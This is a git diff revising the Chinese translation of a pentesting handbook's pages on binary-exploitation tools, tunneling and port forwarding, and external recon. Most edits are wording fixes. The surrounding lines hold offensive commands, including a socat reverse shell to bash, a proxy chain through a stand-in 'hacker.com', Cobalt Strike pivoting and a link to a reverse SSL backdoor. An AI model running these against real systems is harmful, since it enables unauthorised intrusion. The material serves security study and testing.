diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 50caffdcb..2cb83c7a8 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -74,7 +74,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -您可以选择使用 [**这个 GE 的分支**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef),它包含更多有趣的说明。 +您可以选择使用 [**这个 GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) 的分支,它包含更多有趣的说明。 ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -125,14 +125,14 @@ gef➤ pattern search 0x6261617762616176 - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _放入二进制文件的绝对路径_ +- `set env _=` _输入二进制文件的绝对路径_ - 使用相同的绝对路径利用二进制文件 - 使用 GDB 和利用二进制文件时,`PWD` 和 `OLDPWD` 必须相同 #### 回溯以查找调用的函数 当你有一个 **静态链接的二进制文件** 时,所有函数都将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件请求用户输入的流程将会很困难。**\ -你可以通过 **运行** 二进制文件并 **gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** (**回溯**)命令查看调用的函数: +你可以通过 **运行** 二进制文件并 **使用 gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** (**回溯**)命令查看调用的函数: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -143,15 +143,15 @@ gef➤ bt ``` ### GDB 服务器 -`gdbserver --multi 0.0.0.0:23947`(在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此) +`gdbserver --multi 0.0.0.0:23947` (在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此) ## Ghidra ### 查找栈偏移 -**Ghidra** 非常有用,可以找到 **缓冲区溢出的偏移量,感谢有关局部变量位置的信息。**\ -例如,在下面的示例中,`local_bc` 中的缓冲区流表示您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie,则表示要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\ -&#xNAN;_R请记住,保存 RIP 的前 0x08 属于 RBP。_ +**Ghidra** 对于查找 **缓冲区溢出** 的 **偏移量** 非常有用,因为它提供了关于局部变量位置的信息。\ +例如,在下面的示例中,`local_bc` 中的缓冲区溢出表明您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie,则表明要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\ +_请记住,保存 RIP 的前 0x08 属于 RBP。_ ![](<../../../images/image (1061).png>) @@ -164,8 +164,8 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\ -&#xNAN;**-o** --> 输出\ -&#xNAN;**-g** --> 保存代码(GDB 将能够看到它)\ +**-o** --> 输出\ +**-g** --> 保存代码(GDB 将能够看到它)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR **编译 shellcode:**\ @@ -175,13 +175,13 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ## Objdump **-d** --> **反汇编可执行**部分(查看编译的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...)\ -&#xNAN;**-Mintel** --> **Intel** 语法\ -&#xNAN;**-t** --> **符号**表\ -&#xNAN;**-D** --> **反汇编所有**(静态变量的地址)\ -&#xNAN;**-s -j .dtors** --> dtors 部分\ -&#xNAN;**-s -j .got** --> got 部分\ +**-Mintel** --> **Intel** 语法\ +**-t** --> **符号**表\ +**-D** --> **反汇编所有**(静态变量的地址)\ +**-s -j .dtors** --> dtors 部分\ +**-s -j .got** --> got 部分\ -D -s -j .plt --> **plt** 部分 **反编译**\ -&#xNAN;**-TR** --> **重定位**\ +**-TR** --> **重定位**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 的地址\ **objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。 @@ -193,8 +193,8 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ## 更多 -**ldd executable | grep libc.so.6** --> 地址(如果 ASLR,则每次都会改变)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很大\ +**ldd executable | grep libc.so.6** --> 地址(如果 ASLR,则每次都改变)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很多\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量 @@ -214,7 +214,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` ./linux_server64 -Ppass ``` -然后,配置调试器:调试器(linux 远程) --> 进程选项...: +然后,配置调试器:Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index d2ae467a1..19e89feba 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,15 +1,15 @@ -# 隧道和端口转发 +# Tunneling and Port Forwarding {{#include ../banners/hacktricks-training.md}} -## Nmap提示 +## Nmap tip > [!WARNING] -> **ICMP** 和 **SYN** 扫描无法通过socks代理进行隧道传输,因此我们必须 **禁用ping发现** (`-Pn`) 并指定 **TCP扫描** (`-sT`) 以使其工作。 +> **ICMP** 和 **SYN** 扫描无法通过 socks 代理进行隧道传输,因此我们必须 **禁用 ping 发现** (`-Pn`) 并指定 **TCP 扫描** (`-sT`) 以使其工作。 ## **Bash** -**主机 -> 跳转 -> 内部A -> 内部B** +**Host -> Jump -> InternalA -> InternalB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -31,9 +31,9 @@ SSH 图形连接 (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` -### 本地端口到端口 +### Local Port2Port -在 SSH 服务器中打开新端口 --> 其他端口 +在SSH服务器中打开新端口 --> 其他端口 ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -您需要**在两个设备上都具有root权限**(因为您将要创建新的接口),并且sshd配置必须允许root登录:\ +您需要**在两个设备上具有 root 权限**(因为您将创建新的接口),并且 sshd 配置必须允许 root 登录:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -152,14 +152,14 @@ rportfwd stop [bind port] ``` 需要注意: -- Beacon 的反向端口转发旨在 **将流量隧道传输到团队服务器,而不是在单个机器之间中继**。 +- Beacon 的反向端口转发旨在 **将流量隧道传输到 Team Server,而不是在单个机器之间中继**。 - 流量在 **Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。 - **不需要管理员权限** 来在高端口上创建反向端口转发。 ### rPort2Port 本地 > [!WARNING] -> 在这种情况下,**端口在 beacon 主机上打开**,而不是在团队服务器上,**流量发送到 Cobalt Strike 客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口。 +> 在这种情况下,**端口在 beacon 主机上打开**,而不是在 Team Server 上,**流量发送到 Cobalt Strike 客户端**(而不是 Team Server),然后从那里发送到指定的 host:port。 ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] @@ -175,7 +175,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ## Chisel 您可以从 [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) 的发布页面下载它。\ -您需要为客户端和服务器使用 **相同版本**。 +您需要为客户端和服务器使用 **相同的版本**。 ### socks ```bash @@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` -通过 **NTLM 代理** 进行中转 +通过 **NTLM 代理** 进行枢轴 ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -272,7 +272,7 @@ victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` -### 通过socks进行Port2Port +### 通过socks的Port2Port ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` @@ -290,6 +290,8 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) + ### SSL Socat Tunnel **/bin/sh console** @@ -344,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 您需要拥有**系统的 RDP 访问权限**。\ 下载: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。 +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 的远程桌面服务功能中的`Dynamic Virtual Channels`(`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) 在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示: @@ -352,13 +354,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP plugin is enabled**,并且它将 **listen** 在 **127.0.0.1:1080**。 +现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen** 在 **127.0.0.1:1080**。 通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` -现在在你的机器(攻击者)上确认端口 1080 正在监听: +现在,在你的机器(攻击者)上确认端口 1080 正在监听: ``` netstat -antb | findstr 1080 ``` @@ -390,8 +392,8 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -现在,如果你在受害者的 **SSH** 服务上设置监听端口为 443。你可以通过攻击者的端口 2222 连接到它。\ -你也可以使用一个连接到 localhost:443 的 **meterpreter**,而攻击者在端口 2222 上监听。 +现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\ +你也可以使用连接到localhost:443的**meterpreter**,而攻击者在2222端口监听。 ## YARP @@ -403,7 +405,7 @@ Tunnel 2222::443 [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -在两个系统中都需要 root 权限,以创建 tun 适配器并通过 DNS 查询在它们之间隧道数据。 +在两个系统中都需要root权限,以创建tun适配器并通过DNS查询在它们之间隧道数据。 ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -440,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### 更改 proxychains DNS -Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道 tcp DNS 请求。默认情况下,proxychains 使用的 DNS 服务器是 **4.2.2.2**(硬编码)。要更改它,请编辑文件: _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境** 中,可以设置 **域控制器** 的 IP。 +Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道 tcp DNS 请求。默认情况下,proxychains 使用的 DNS 服务器是 **4.2.2.2**(硬编码)。要更改它,请编辑文件: _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境**中,可以设置 **域控制器** 的 IP。 ## Go 中的隧道 @@ -477,13 +479,13 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok -[**ngrok**](https://ngrok.com/) **是一个通过一条命令行将解决方案暴露到互联网的工具。**\ -&#xNAN;_Exposition URI 类似于:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令行将解决方案暴露到互联网的工具。**\ +_Exposition URI 类似于:_ **UID.ngrok.io** ### 安装 -- 创建一个账户: https://ngrok.com/signup -- 客户端下载: +- 创建一个账户: https://ngrok.com/signup +- 客户端下载: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index d3dc9791a..eee5d909b 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -24,11 +24,11 @@ ### **ASNs** 自治系统编号(**ASN**)是由**互联网分配号码管理局(IANA)**分配给**自治系统**(AS)的**唯一编号**。\ -一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单个组织管理,但可能由多个运营商组成。 +一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。 -找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\ +找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\ 你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\ -**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的**有用信息**(IP范围和Whois)可能已经在第一个链接中出现。** +**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **(IP范围和Whois)**可能已经在第一个链接中出现。 ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -56,8 +56,8 @@ bbot -t tesla.com -f subdomain-enum ### **寻找漏洞** -在这一点上,我们知道 **范围内的所有资产**,所以如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\ -此外,您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\ +此时我们已知 **范围内的所有资产**,因此如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\ +此外,您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\ **此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。 ## 域名 @@ -70,7 +70,7 @@ _请注意,在以下提出的技术中,您还可以找到子域名,这些 ### **反向 DNS** -由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的一些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。 +由于您已找到域名的所有 IP 范围,因此可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -82,25 +82,25 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **反向 Whois(循环)** -在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个进行 **反向 whois 查询**,可以找到 **与公司相关的更多资产**(例如,其他 whois 注册表中出现相同电子邮件的情况)。\ -您可以使用在线工具,例如: +在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如,其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\ +您可以使用在线工具,如: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费** - [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费** - [https://www.whoxy.com/](https://www.whoxy.com) - **免费**网站,不免费API。 - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费 -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费**查询) +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询) - [https://www.domainiq.com/](https://www.domainiq.com) - 不免费 您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务(需要 whoxy API 密钥)。\ -您还可以使用 [amass](https://github.com/OWASP/Amass) 进行一些自动反向 whois 发现:`amass intel -d tesla.com -whois` +您还可以使用 [amass](https://github.com/OWASP/Amass) 执行一些自动反向 whois 发现:`amass intel -d tesla.com -whois` -**请注意,每次找到新域名时,您都可以使用此技术发现更多域名。** +**请注意,您可以使用此技术在每次找到新域名时发现更多域名。** ### **跟踪器** -如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\ +如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以假设 **这两个页面** 是 **由同一团队管理**。\ 例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。 有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索: @@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域名和子域名吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它: +您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -155,13 +155,13 @@ return fhash ### 邮件 DMARC 信息 -您可以使用网站如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或工具如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。 +您可以使用一个网站,例如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具,例如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。 ### **被动接管** -显然,人们常常将子域名分配给属于云服务提供商的IP,并在某个时刻**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如Digital Ocean),您实际上将**接管一些子域名**。 +显然,人们常常将子域名分配给属于云服务提供商的IP,并在某个时候**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如 Digital Ocean),您实际上将**接管一些子域名**。 -[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事,并提出了一个脚本,该脚本**在DigitalOcean中创建虚拟机**,**获取**新机器的**IPv4**,并**在Virustotal中搜索指向它的子域名记录**。 +[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建一个虚拟机**,**获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域名记录**。 ### **其他方法** @@ -169,20 +169,20 @@ return fhash **Shodan** -如您所知,您可以使用IP空间的组织名称进行搜索。您可以在shodan中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。 +如您所知,您可以使用组织名称搜索IP空间。您可以在 Shodan 中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。 -您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`,或使用工具如[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)。 +您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`,或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。 **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具,非常惊人。 +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具,非常棒。 ### **寻找漏洞** 检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域名**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。 -如果您发现任何**IP与您在资产发现中找到的不同**的域名,您应该执行**基本漏洞扫描**(使用Nessus或OpenVAS)和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\ -&#xNAN;_Note有时域名托管在不受客户控制的IP内,因此不在范围内,请小心。_ +如果您发现任何**IP与您在资产发现中找到的不同**的域名,您应该执行**基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\ +_请注意,有时域名托管在不受客户控制的IP内,因此不在范围内,请小心。_ ## 子域名 @@ -287,7 +287,7 @@ crt tesla.com # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网上抓取JS文件并从中提取子域名。 +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网络上抓取JS文件并从中提取子域名。 ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -315,7 +315,7 @@ python3 DomainTrail.py -d example.com - [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史 - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -该项目提供 **与漏洞悬赏程序相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +该项目提供 **与漏洞赏金计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) 您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) @@ -323,7 +323,7 @@ python3 DomainTrail.py -d example.com 让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**,使用可能的子域名名称。 -为此操作,您需要一些 **常见的子域名词汇表,如**: +为此操作,您需要一些 **常见子域名字典,如**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -374,8 +374,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` -- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列外,它还可以尝试解析它们(但最好使用之前提到的工具)。 -- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **wordlist**。 +- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。 +- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -385,17 +385,17 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**,根据指示的模式尝试发现更多子域名。 +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**,基于指示的模式以尝试发现更多子域名。 #### 智能排列生成 -- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中提取 **主要部分** 并进行混合以找到更多子域名。 +- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中获取 **主要部分** 并将其混合以找到更多子域名。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的单词列表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。 +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。 ``` echo www | subzuf facebook.com ``` @@ -438,7 +438,7 @@ VHostScan -t example.com > [!NOTE] > 使用此技术,您甚至可能能够访问内部/隐藏的端点。 -### **CORS Brute Force** +### **CORS 暴力破解** 有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。 ```bash @@ -447,62 +447,62 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **桶暴力破解** 在寻找 **子域名** 时,注意是否指向任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ -此外,既然此时您将知道所有在范围内的域名,请尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。 +此外,既然此时你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。 ### **监控** -您可以通过监控 